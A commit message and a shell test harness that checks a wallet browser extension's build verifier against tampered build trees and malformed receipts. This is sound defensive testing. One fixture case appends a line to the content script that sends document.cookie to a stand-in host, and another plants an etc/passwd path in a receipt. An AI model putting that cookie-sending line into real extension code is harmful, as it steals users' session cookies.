verify-build read its expectation from AUTISTMASK_DEBUG in its own environment and the Makefile invoked it bare, so an operator with that variable exported who ran the release target got an INSECURE debug build — every wallet it creates uses the publicly committed test phrase — verified green, exit 0. It also had no provenance: a 26-byte file containing the right marker string passed, the content script and manifest.json were never inspected, and an entire hand-written dist/ passed. --expect release|debug and --receipt PATH are now both required, with no defaults and nothing read from the environment. build.js records every file it emits with its sha256 and writes the receipt; the Makefile mktemps it outside the repo per invocation with a trap, and build.js refuses a receipt path inside dist/. Verification runs three passes in a load-bearing order — receipt shape, full dist/ walk, then per-file bytes — so an unwalkable subtree cannot make files look absent. dist/constants-bundles.txt, which was an unsigned trust root living inside the tree it vouched for, is gone. What this proves is bounded and stated as such: dist/ is byte-for-byte the output of the build.js run that just finished, within one make build invocation. It proves nothing about the honesty of the source tree or build.js, and nothing to anyone handed a dist/ from elsewhere — that is signing, #310. The standalone make verify-build target is removed because its only input would be dist/ itself, i.e. the artifact vouching for itself. Verified: make check green, test-verify-build 39 cases (was 18), test-e2e 55/55 and test-e2e-firefox 8/8 with make build running uncached inside both images. All four original bypasses now exit 1. Mutations: digests disabled fails exactly 4 cases, dropping the dist/ walk fails exactly 8, restoring the ambient fallback fails exactly 1.
779 lines
25 KiB
Bash
Executable File
779 lines
25 KiB
Bash
Executable File
#!/bin/sh
|
|
# script/test-verify-build: exercise every failure mode of
|
|
# script/verify-build. Our own extension to scripts-to-rule-them-all, run
|
|
# from script/check so make check covers it.
|
|
#
|
|
# Why this exists: verify-build is the build-integrity guard, and four separate
|
|
# reviews of it each found a fresh vacuous pass — the grep exit-2 conflation,
|
|
# the discarded find status, the line-delimited walk, and then the two the
|
|
# receipt replaced: an expectation read out of the verifier's own environment,
|
|
# and a file list read back out of the tree it was supposed to vouch for. Every
|
|
# one was caught by someone building a tree by hand, because nothing in make
|
|
# check could catch it. This is that hand battery, committed and automated.
|
|
#
|
|
# Each case asserts the exit status AND a substring of the message. A guard
|
|
# that fails for the wrong reason (right status, different fault) is itself a
|
|
# defect, so matching the status alone would not be a test of anything.
|
|
#
|
|
# The fixture is a temp tree containing script/verify-build as a SYMLINK to
|
|
# the real script: verify-build takes its ROOT from dirname "$0"/.., so it
|
|
# operates on the fixture's dist/ and never reads or writes the repo's build
|
|
# output. The symlink rather than a copy is what makes a deliberate break in
|
|
# the real script fail here. The fixture's receipt is written from the bytes
|
|
# the fixture actually holds, exactly as a build writes one from the bytes it
|
|
# emitted; a case that means "the build emitted this" regenerates it, and a
|
|
# case that means "something changed dist/ afterwards" does not.
|
|
#
|
|
# The sha256 command is selected here independently of the one verify-build
|
|
# picks. That is deliberate: a harness that reused the implementation's helper
|
|
# would agree with it even when it is wrong.
|
|
set -eu
|
|
|
|
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
|
VERIFY_BUILD="$ROOT/script/verify-build"
|
|
|
|
MARKER_ON="autistmask-build-debug=on"
|
|
MARKER_OFF="autistmask-build-debug=off"
|
|
|
|
RECEIPT_HEADER="autistmask-build-receipt v1"
|
|
|
|
NEWLINE='
|
|
'
|
|
|
|
PASSED=0
|
|
FAILED=0
|
|
SKIPPED=0
|
|
SKIPPED_NAMES=""
|
|
|
|
# The command prefix that runs the permission-dependent cases as a user who
|
|
# is actually subject to file permissions, and whether those cases can run at
|
|
# all. Both are decided by probe_permission_runner, never assumed.
|
|
UNPRIV=""
|
|
PERM_ENABLED=no
|
|
PERM_HOW=""
|
|
|
|
# The sha256 command, chosen by pick_sha256_tool.
|
|
SHA256_CMD=""
|
|
|
|
WORK=""
|
|
|
|
cleanup() {
|
|
[ -n "$WORK" ] || return 0
|
|
# The cases chmod 000 files and directories on purpose.
|
|
chmod -R u+rwX "$WORK" 2>/dev/null || true
|
|
rm -rf "$WORK"
|
|
}
|
|
trap cleanup EXIT INT TERM
|
|
|
|
WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
|
|
FIXTURE="$WORK/fixture"
|
|
|
|
# The build receipt for the fixture, kept outside the fixture's dist/ — and
|
|
# outside the fixture altogether — because that is where a real one lives.
|
|
RECEIPT="$WORK/receipt"
|
|
|
|
# verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
|
|
# our work dir keeps the run leaving no residue, and keeps it writable for the
|
|
# unprivileged user the permission cases run as.
|
|
TMPDIR="$WORK/tmp"
|
|
export TMPDIR
|
|
mkdir -p "$TMPDIR"
|
|
chmod 1777 "$TMPDIR"
|
|
chmod 755 "$WORK"
|
|
|
|
# --- fixture ---------------------------------------------------------------
|
|
|
|
# The emitted tree a build of this repo produces in miniature: audited bundles
|
|
# (A) that must carry a marker, and plain emitted files (P) that must not —
|
|
# including the content script, which runs on every page, and the manifest,
|
|
# neither of which the pre-receipt verifier read at all.
|
|
FIXTURE_FILES="A dist/chrome/src/popup/index.js
|
|
A dist/firefox/src/popup/index.js
|
|
P dist/chrome/src/content/index.js
|
|
P dist/chrome/manifest.json
|
|
P dist/styles.css"
|
|
|
|
FIXTURE_REAL=""
|
|
|
|
# A stand-in for an emitted bundle: some text plus one marker literal, which
|
|
# is all verify-build reads out of the real thing beyond its digest.
|
|
write_bundle() {
|
|
printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
|
|
}
|
|
|
|
# Digest of $1, taken with the harness's own sha256 command.
|
|
fixture_sha256() {
|
|
# Word-split on purpose: SHA256_CMD is a command with its arguments.
|
|
# shellcheck disable=SC2086
|
|
_fs_out="$($SHA256_CMD "$1")"
|
|
printf '%s' "${_fs_out%% *}"
|
|
}
|
|
|
|
# Write the fixture's receipt, with a substitutable header and root line so the
|
|
# cases can hand verify-build a receipt that is not one.
|
|
write_receipt_custom() {
|
|
_wrc_header="$1"
|
|
_wrc_root="$2"
|
|
|
|
chmod u+rw "$RECEIPT" 2>/dev/null || true
|
|
rm -f "$RECEIPT"
|
|
|
|
(
|
|
cd "$FIXTURE"
|
|
printf '%s\n' "$_wrc_header"
|
|
printf 'root %s\n' "$_wrc_root"
|
|
_saved_ifs="$IFS"
|
|
IFS="$NEWLINE"
|
|
for _entry in $FIXTURE_FILES; do
|
|
IFS="$_saved_ifs"
|
|
_flag="${_entry%% *}"
|
|
_path="${_entry#* }"
|
|
printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
|
|
"$_flag" "$_path"
|
|
IFS="$NEWLINE"
|
|
done
|
|
IFS="$_saved_ifs"
|
|
) >"$RECEIPT"
|
|
|
|
# Readable by the unprivileged user the permission cases run as, whatever
|
|
# umask this process has, until a case takes that away on purpose.
|
|
chmod 644 "$RECEIPT"
|
|
}
|
|
|
|
write_receipt() {
|
|
write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
|
|
}
|
|
|
|
build_fixture() {
|
|
chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
|
|
rm -rf "$FIXTURE"
|
|
|
|
mkdir -p "$FIXTURE/script"
|
|
ln -s "$VERIFY_BUILD" "$FIXTURE/script/verify-build"
|
|
|
|
mkdir -p "$FIXTURE/dist/chrome/src/popup" \
|
|
"$FIXTURE/dist/chrome/src/content" \
|
|
"$FIXTURE/dist/firefox/src/popup"
|
|
|
|
write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
|
|
write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
|
|
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
|
|
printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
|
|
printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
|
|
|
|
FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)"
|
|
write_receipt
|
|
|
|
# Readable and traversable by the unprivileged user the permission cases
|
|
# run as, before those cases take that away again on purpose.
|
|
chmod -R a+rX "$FIXTURE"
|
|
}
|
|
|
|
# --- permission runner ------------------------------------------------------
|
|
|
|
# Run a command through the current unprivileged runner. Unquoted on purpose:
|
|
# UNPRIV is a command prefix that has to word-split.
|
|
run_unpriv() {
|
|
# shellcheck disable=SC2086
|
|
$UNPRIV "$@"
|
|
}
|
|
|
|
# Decide whether the permission-dependent cases can run, and prove it rather
|
|
# than assuming it.
|
|
#
|
|
# The problem: the CI image declares no USER, so CI runs as root, and root is
|
|
# not subject to file permissions — chmod 000 stops neither find nor grep. A
|
|
# permission case run as root passes vacuously, which is worse than no case at
|
|
# all because it reads as coverage.
|
|
#
|
|
# So the runner is validated with two probes before any permission case is
|
|
# counted:
|
|
#
|
|
# - a mode-644 file MUST be readable through it. If not, the runner itself
|
|
# is broken (missing helper, no such user, sandbox), and every case run
|
|
# through it would fail for the wrong reason.
|
|
# - a mode-000 file MUST NOT be readable through it. If it is, permissions
|
|
# are not in force and the cases would pass without proving anything.
|
|
#
|
|
# Unprivileged: the runner is empty and both probes are about this process,
|
|
# which is the honest answer. Root: setpriv and runuser are tried, both
|
|
# present in the pinned CI base image. Only when no candidate passes both
|
|
# probes are the cases skipped, and a skipped run says so unmistakably.
|
|
probe_permission_runner() {
|
|
_probe="$WORK/probe"
|
|
mkdir -p "$_probe"
|
|
printf 'readable\n' >"$_probe/public"
|
|
printf 'secret\n' >"$_probe/private"
|
|
chmod 755 "$_probe"
|
|
chmod 644 "$_probe/public"
|
|
chmod 000 "$_probe/private"
|
|
|
|
if [ "$(id -u)" -eq 0 ]; then
|
|
_candidates="setpriv|setpriv --reuid=65534 --regid=65534 --clear-groups --
|
|
runuser|runuser -u nobody --"
|
|
else
|
|
_candidates="direct|"
|
|
fi
|
|
|
|
_tried=""
|
|
_saved_ifs="$IFS"
|
|
IFS="$NEWLINE"
|
|
for _line in $_candidates; do
|
|
IFS="$_saved_ifs"
|
|
_label="${_line%%|*}"
|
|
_cmd="${_line#*|}"
|
|
_tried="${_tried:+$_tried, }$_label"
|
|
|
|
if [ -n "$_cmd" ]; then
|
|
_bin="${_cmd%% *}"
|
|
command -v "$_bin" >/dev/null 2>&1 || continue
|
|
fi
|
|
|
|
UNPRIV="$_cmd"
|
|
# Broken or unusable runner: the cases would fail for the wrong
|
|
# reason. Reaching the script under test is part of usable.
|
|
run_unpriv cat "$_probe/public" >/dev/null 2>&1 || continue
|
|
run_unpriv cat "$VERIFY_BUILD" >/dev/null 2>&1 || continue
|
|
# Permissions not in force through this runner: the cases would pass
|
|
# without testing anything.
|
|
if run_unpriv cat "$_probe/private" >/dev/null 2>&1; then
|
|
continue
|
|
fi
|
|
|
|
PERM_ENABLED=yes
|
|
PERM_HOW="$_label"
|
|
IFS="$_saved_ifs"
|
|
return 0
|
|
done
|
|
IFS="$_saved_ifs"
|
|
|
|
UNPRIV=""
|
|
PERM_ENABLED=no
|
|
PERM_HOW="$_tried"
|
|
}
|
|
|
|
# --- case runner ------------------------------------------------------------
|
|
|
|
# How verify-build is invoked for a case. The arguments are literal here rather
|
|
# than assembled from a string, so nothing about a case's invocation depends on
|
|
# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
|
|
# verifier ignores it — that is the whole of the ambient-environment defect.
|
|
run_verify() {
|
|
_rv_variant="$1"
|
|
_rv_perm="$2"
|
|
_rv_bin="$FIXTURE/script/verify-build"
|
|
|
|
case "$_rv_variant" in
|
|
release | release-envdebug)
|
|
set -- --expect release --receipt "$RECEIPT"
|
|
;;
|
|
debug)
|
|
set -- --expect debug --receipt "$RECEIPT"
|
|
;;
|
|
no-expect)
|
|
set -- --receipt "$RECEIPT"
|
|
;;
|
|
no-receipt)
|
|
set -- --expect release
|
|
;;
|
|
bad-expect)
|
|
set -- --expect maybe --receipt "$RECEIPT"
|
|
;;
|
|
unknown-arg)
|
|
set -- --expect release --receipt "$RECEIPT" --force
|
|
;;
|
|
receipt-in-dist)
|
|
set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
|
|
;;
|
|
*)
|
|
echo "test-verify-build: unknown variant $_rv_variant" >&2
|
|
exit 1
|
|
;;
|
|
esac
|
|
|
|
if [ "$_rv_perm" = yes ]; then
|
|
run_unpriv "$_rv_bin" "$@"
|
|
else
|
|
"$_rv_bin" "$@"
|
|
fi
|
|
}
|
|
|
|
# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
|
|
#
|
|
# Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
|
|
# requires both the exit status and the message. <perm> marks a case that only
|
|
# means anything when file permissions are in force.
|
|
check_case() {
|
|
_name="$1"
|
|
_perm="$2"
|
|
_variant="$3"
|
|
_want_status="$4"
|
|
_want_text="$5"
|
|
_setup="$6"
|
|
|
|
if [ "$_perm" = yes ] && [ "$PERM_ENABLED" != yes ]; then
|
|
SKIPPED=$((SKIPPED + 1))
|
|
SKIPPED_NAMES="$SKIPPED_NAMES## - $_name$NEWLINE"
|
|
echo " SKIP (permissions not in force): $_name"
|
|
return 0
|
|
fi
|
|
|
|
build_fixture
|
|
if ! (cd "$FIXTURE" && "$_setup") >/dev/null 2>&1; then
|
|
FAILED=$((FAILED + 1))
|
|
echo " FAIL: $_name"
|
|
echo " the case's own setup failed, so nothing was tested."
|
|
return 0
|
|
fi
|
|
|
|
# Exported rather than set as a command prefix: run_verify may go through
|
|
# run_unpriv, which is a function, and an assignment prefixed to a function
|
|
# call is not portable. Every other case unsets it, so the environment this
|
|
# harness happens to run in cannot decide anything.
|
|
case "$_variant" in
|
|
*envdebug)
|
|
AUTISTMASK_DEBUG=1
|
|
export AUTISTMASK_DEBUG
|
|
;;
|
|
*)
|
|
unset AUTISTMASK_DEBUG || true
|
|
;;
|
|
esac
|
|
|
|
_status=0
|
|
_out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$?
|
|
|
|
_ok=yes
|
|
_why=""
|
|
|
|
if [ "$_status" -ne "$_want_status" ]; then
|
|
_ok=no
|
|
_why="exit status $_status, wanted $_want_status"
|
|
fi
|
|
|
|
# Same discipline verify-build itself applies to grep: 0 and 1 are
|
|
# answers, anything else is not, and must not be read as "no match".
|
|
_g=0
|
|
printf '%s\n' "$_out" | grep -q -F -e "$_want_text" || _g=$?
|
|
case "$_g" in
|
|
0) ;;
|
|
1)
|
|
_ok=no
|
|
_why="${_why:+$_why; }message did not contain: $_want_text"
|
|
;;
|
|
*)
|
|
_ok=no
|
|
_why="${_why:+$_why; }grep exited $_g matching the message, so the
|
|
message was never checked"
|
|
;;
|
|
esac
|
|
|
|
if [ "$_ok" = yes ]; then
|
|
PASSED=$((PASSED + 1))
|
|
echo " ok: $_name"
|
|
return 0
|
|
fi
|
|
|
|
FAILED=$((FAILED + 1))
|
|
echo " FAIL: $_name"
|
|
echo " $_why"
|
|
echo " --- verify-build output ---"
|
|
printf '%s\n' "$_out" | sed 's/^/ /'
|
|
echo " --- end output ---"
|
|
}
|
|
|
|
# --- cases ------------------------------------------------------------------
|
|
#
|
|
# Each runs with the fixture as its working directory. A case that regenerates
|
|
# the receipt is saying "this is what the build emitted"; one that does not is
|
|
# saying "the build emitted something else and this happened afterwards".
|
|
|
|
c_control() { :; }
|
|
|
|
c_trailing_space() {
|
|
cp dist/chrome/src/popup/index.js "dist/chrome/src/popup/index.js "
|
|
}
|
|
|
|
c_embedded_newline() {
|
|
cp dist/chrome/src/popup/index.js "dist/chrome/src/popup/index.js$NEWLINE"
|
|
}
|
|
|
|
c_dist_symlink() {
|
|
mv dist dist.real
|
|
ln -s dist.real dist
|
|
}
|
|
|
|
c_unwalkable_subtree() { chmod 000 dist/chrome/src/content; }
|
|
|
|
c_dangling_symlink() {
|
|
ln -s /nonexistent-target-for-test-verify-build dist/chrome/dangling.js
|
|
}
|
|
|
|
c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
|
|
|
|
c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
|
|
|
|
c_receipt_missing() { rm "$RECEIPT"; }
|
|
|
|
c_receipt_empty() { : >"$RECEIPT"; }
|
|
|
|
c_receipt_unreadable() { chmod 000 "$RECEIPT"; }
|
|
|
|
c_receipt_bad_header() {
|
|
write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
|
|
}
|
|
|
|
c_receipt_other_tree() {
|
|
write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
|
|
}
|
|
|
|
c_receipt_path_with_space() {
|
|
write_receipt
|
|
printf 'file %s P dist/two words.js\n' \
|
|
"0000000000000000000000000000000000000000000000000000000000000000" \
|
|
>>"$RECEIPT"
|
|
}
|
|
|
|
c_receipt_path_outside_dist() {
|
|
write_receipt
|
|
printf 'file %s P etc/passwd\n' \
|
|
"0000000000000000000000000000000000000000000000000000000000000000" \
|
|
>>"$RECEIPT"
|
|
}
|
|
|
|
c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
|
|
|
|
c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
|
|
|
|
c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
|
|
|
|
c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
|
|
|
|
c_extra_file_with_marker() {
|
|
cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
|
|
}
|
|
|
|
c_extra_file_no_marker() {
|
|
printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
|
|
}
|
|
|
|
# The four demonstrated bypasses of the pre-receipt verifier.
|
|
|
|
# A 26-byte file whose entire content is the marker string used to verify ok.
|
|
c_marker_only_stub() {
|
|
printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
|
|
}
|
|
|
|
# The content script runs on every page the browser loads and was never read.
|
|
c_tampered_content_script() {
|
|
printf 'fetch("https://example.invalid/"+document.cookie);\n' \
|
|
>>dist/chrome/src/content/index.js
|
|
}
|
|
|
|
# The manifest decides permissions and CSP and was never read either.
|
|
c_tampered_manifest() {
|
|
printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
|
|
>dist/chrome/manifest.json
|
|
}
|
|
|
|
# A dist/ that has nothing to do with this build, carrying the right file
|
|
# names and the right marker, offered against this build's receipt.
|
|
c_foreign_dist() {
|
|
rm -rf dist
|
|
mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
|
|
write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
|
|
write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
|
|
printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
|
|
printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
|
|
printf 'body{color:#fff}\n' >dist/styles.css
|
|
}
|
|
|
|
# Cases that state what the build itself emitted, and so regenerate the
|
|
# receipt over the changed bytes.
|
|
|
|
c_no_marker() {
|
|
printf 'var d=4;\n' >dist/chrome/src/popup/index.js
|
|
write_receipt
|
|
}
|
|
|
|
c_both_markers() {
|
|
printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
|
|
write_receipt
|
|
}
|
|
|
|
c_marker_on_plain_file() {
|
|
printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
|
|
>dist/chrome/src/content/index.js
|
|
write_receipt
|
|
}
|
|
|
|
c_debug_build() {
|
|
write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
|
|
write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
|
|
write_receipt
|
|
}
|
|
|
|
# --- Makefile wiring --------------------------------------------------------
|
|
|
|
# The verifier cases above prove what verify-build does when it is told what to
|
|
# expect. This proves the Makefile tells it — with the mode as an argument, on
|
|
# a scrubbed environment, and identically whether or not AUTISTMASK_DEBUG is
|
|
# exported in the shell that ran make. Read off `make -n`, so no build runs.
|
|
check_makefile_wiring() {
|
|
if ! command -v make >/dev/null 2>&1; then
|
|
SKIPPED=$((SKIPPED + 1))
|
|
SKIPPED_NAMES="$SKIPPED_NAMES## - Makefile wiring (make not found)$NEWLINE"
|
|
echo " SKIP (make not found): Makefile wiring"
|
|
return 0
|
|
fi
|
|
|
|
# make build must ask for release, and must scrub the flag from the
|
|
# verifier's environment, even when the caller has it exported.
|
|
_wiring_case "make build passes --expect release" \
|
|
build "verify-build --expect release"
|
|
_wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
|
|
build "env -u AUTISTMASK_DEBUG"
|
|
_wiring_case "make build-debug passes --expect debug" \
|
|
build-debug "verify-build --expect debug"
|
|
_wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
|
|
build-debug "env -u AUTISTMASK_DEBUG"
|
|
}
|
|
|
|
_wiring_case() {
|
|
_wc_name="$1"
|
|
_wc_target="$2"
|
|
_wc_want="$3"
|
|
|
|
AUTISTMASK_DEBUG=1
|
|
export AUTISTMASK_DEBUG
|
|
_wc_status=0
|
|
_wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
|
|
unset AUTISTMASK_DEBUG
|
|
|
|
if [ "$_wc_status" -ne 0 ]; then
|
|
FAILED=$((FAILED + 1))
|
|
echo " FAIL: $_wc_name"
|
|
echo " make -n $_wc_target exited $_wc_status"
|
|
return 0
|
|
fi
|
|
|
|
_wc_g=0
|
|
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
|
|
case "$_wc_g" in
|
|
0)
|
|
PASSED=$((PASSED + 1))
|
|
echo " ok: $_wc_name"
|
|
;;
|
|
1)
|
|
FAILED=$((FAILED + 1))
|
|
echo " FAIL: $_wc_name"
|
|
echo " make -n $_wc_target does not run: $_wc_want"
|
|
;;
|
|
*)
|
|
FAILED=$((FAILED + 1))
|
|
echo " FAIL: $_wc_name"
|
|
echo " grep exited $_wc_g, so the recipe was never checked"
|
|
;;
|
|
esac
|
|
}
|
|
|
|
run_cases() {
|
|
check_case "control: untouched dist passes" \
|
|
no release 0 "2 bundle(s) $MARKER_OFF" c_control
|
|
|
|
check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \
|
|
no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control
|
|
|
|
check_case "debug bundles under --expect release fail (make build with
|
|
AUTISTMASK_DEBUG=1 exported)" \
|
|
no release-envdebug 1 \
|
|
"is $MARKER_ON but this build was told to expect" c_debug_build
|
|
|
|
check_case "debug bundles under --expect debug pass" \
|
|
no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
|
|
|
|
check_case "no --expect argument" \
|
|
no no-expect 1 "no --expect argument." c_control
|
|
|
|
check_case "no --receipt argument" \
|
|
no no-receipt 1 "no --receipt argument." c_control
|
|
|
|
check_case "--expect takes release or debug" \
|
|
no bad-expect 1 "--expect takes release or debug" c_control
|
|
|
|
check_case "unknown argument" \
|
|
no unknown-arg 1 "unknown argument: --force" c_control
|
|
|
|
check_case "receipt inside the tree it describes" \
|
|
no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
|
|
|
|
check_case "bundle replaced by a file containing only the marker" \
|
|
no release 1 "does not contain the bytes this build emitted" \
|
|
c_marker_only_stub
|
|
|
|
check_case "content script tampered with after the build" \
|
|
no release 1 \
|
|
"dist/chrome/src/content/index.js does not contain the bytes" \
|
|
c_tampered_content_script
|
|
|
|
check_case "manifest.json tampered with after the build" \
|
|
no release 1 "dist/chrome/manifest.json does not contain the bytes" \
|
|
c_tampered_manifest
|
|
|
|
check_case "hand-written dist/ offered against this build's receipt" \
|
|
no release 1 "does not contain the bytes this build emitted" \
|
|
c_foreign_dist
|
|
|
|
check_case "extra file under dist/ carrying a marker" \
|
|
no release 1 \
|
|
"dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
|
|
c_extra_file_with_marker
|
|
|
|
check_case "extra file under dist/ carrying no marker" \
|
|
no release 1 \
|
|
"dist/chrome/src/popup/vendor.js is under dist/ but the build" \
|
|
c_extra_file_no_marker
|
|
|
|
check_case "extra file, trailing space in name" \
|
|
no release 1 "is under dist/ but the build that just ran did not emit" \
|
|
c_trailing_space
|
|
|
|
check_case "extra file, newline in name" \
|
|
no release 1 "is under dist/ but the build that just ran did not emit" \
|
|
c_embedded_newline
|
|
|
|
check_case "dist/ replaced by a symlink" \
|
|
no release 1 "dist is a symlink, not a directory." c_dist_symlink
|
|
|
|
check_case "unwalkable subtree under dist/" \
|
|
yes release 1 "enumerating dist/, so part of the tree" \
|
|
c_unwalkable_subtree
|
|
|
|
check_case "dangling symlink under dist/" \
|
|
no release 1 \
|
|
"dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink
|
|
|
|
check_case "symlink to a directory under dist/" \
|
|
no release 1 \
|
|
"dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink
|
|
|
|
check_case "symlink aliasing an emitted bundle under another path" \
|
|
no release 1 \
|
|
"dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink
|
|
|
|
check_case "receipt missing" \
|
|
no release 1 "is missing. build.js writes it" c_receipt_missing
|
|
|
|
check_case "receipt empty" \
|
|
no release 1 "is empty, so the build wrote nothing to it" \
|
|
c_receipt_empty
|
|
|
|
check_case "receipt unreadable" \
|
|
yes release 1 "is not readable, so nothing was inspected." \
|
|
c_receipt_unreadable
|
|
|
|
check_case "receipt is not a build receipt" \
|
|
no release 1 "does not start with" c_receipt_bad_header
|
|
|
|
check_case "receipt from a different checkout" \
|
|
no release 1 "was written by a build of a different tree" \
|
|
c_receipt_other_tree
|
|
|
|
check_case "receipt names a path containing a space" \
|
|
no release 1 "cannot be read back unambiguously" \
|
|
c_receipt_path_with_space
|
|
|
|
check_case "receipt names a path outside dist/" \
|
|
no release 1 "names a path that is not under dist/" \
|
|
c_receipt_path_outside_dist
|
|
|
|
check_case "emitted file missing" \
|
|
no release 1 \
|
|
"names dist/chrome/src/popup/index.js, which does not exist." \
|
|
c_emitted_missing
|
|
|
|
check_case "emitted file empty" \
|
|
no release 1 "which is empty. An empty file" c_emitted_empty
|
|
|
|
check_case "emitted file unreadable" \
|
|
yes release 1 \
|
|
"on dist/chrome/src/popup/index.js, so its bytes were never read" \
|
|
c_emitted_unreadable
|
|
|
|
check_case "emitted bundle carries no marker" \
|
|
no release 1 "carries no debug marker, so its DEBUG state cannot be" \
|
|
c_no_marker
|
|
|
|
check_case "emitted bundle carries both markers" \
|
|
no release 1 "carries both debug markers, so DEBUG was not resolved" \
|
|
c_both_markers
|
|
|
|
check_case "marker on a file the build did not record as a bundle" \
|
|
no release 1 "carries a debug marker but the build did not" \
|
|
c_marker_on_plain_file
|
|
|
|
check_makefile_wiring
|
|
}
|
|
|
|
# --- main --------------------------------------------------------------------
|
|
|
|
# The harness cannot build a receipt without a digest, so a missing sha256
|
|
# command is a failure here rather than a silent reduction in coverage.
|
|
pick_sha256_tool() {
|
|
if command -v sha256sum >/dev/null 2>&1; then
|
|
SHA256_CMD="sha256sum"
|
|
elif command -v shasum >/dev/null 2>&1; then
|
|
SHA256_CMD="shasum -a 256"
|
|
elif command -v openssl >/dev/null 2>&1; then
|
|
SHA256_CMD="openssl dgst -sha256 -r"
|
|
else
|
|
echo "test-verify-build: no sha256 command found (tried sha256sum," \
|
|
"shasum, openssl), so no fixture receipt can be written" >&2
|
|
exit 1
|
|
fi
|
|
}
|
|
|
|
main() {
|
|
cd "$ROOT"
|
|
|
|
[ -x "$VERIFY_BUILD" ] || {
|
|
echo "test-verify-build: $VERIFY_BUILD is missing or not executable" >&2
|
|
exit 1
|
|
}
|
|
|
|
echo "Testing script/verify-build failure modes..."
|
|
pick_sha256_tool
|
|
probe_permission_runner
|
|
if [ "$PERM_ENABLED" = yes ]; then
|
|
echo " permission cases: enabled (runner: $PERM_HOW, proved against" \
|
|
"a mode-000 file)"
|
|
fi
|
|
|
|
run_cases
|
|
|
|
if [ "$FAILED" -ne 0 ]; then
|
|
echo "test-verify-build: $FAILED case(s) FAILED," \
|
|
"$PASSED passed, $SKIPPED skipped" >&2
|
|
exit 1
|
|
fi
|
|
|
|
if [ "$SKIPPED" -ne 0 ]; then
|
|
cat <<EOF
|
|
################################################################################
|
|
## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM.
|
|
## This process is uid $(id -u), and no runner subject to file permissions was
|
|
## available. Tried: $PERM_HOW.
|
|
## Under root, chmod 000 stops neither find nor grep, so the permission cases
|
|
## would have passed without testing anything. They were skipped, not counted:
|
|
$SKIPPED_NAMES################################################################################
|
|
EOF
|
|
echo "test-verify-build: $PASSED case(s) passed," \
|
|
"$SKIPPED SKIPPED AND NOT PROVEN (see the warning above)"
|
|
return 0
|
|
fi
|
|
|
|
echo "test-verify-build: $PASSED case(s) passed"
|
|
}
|
|
|
|
main "$@"
|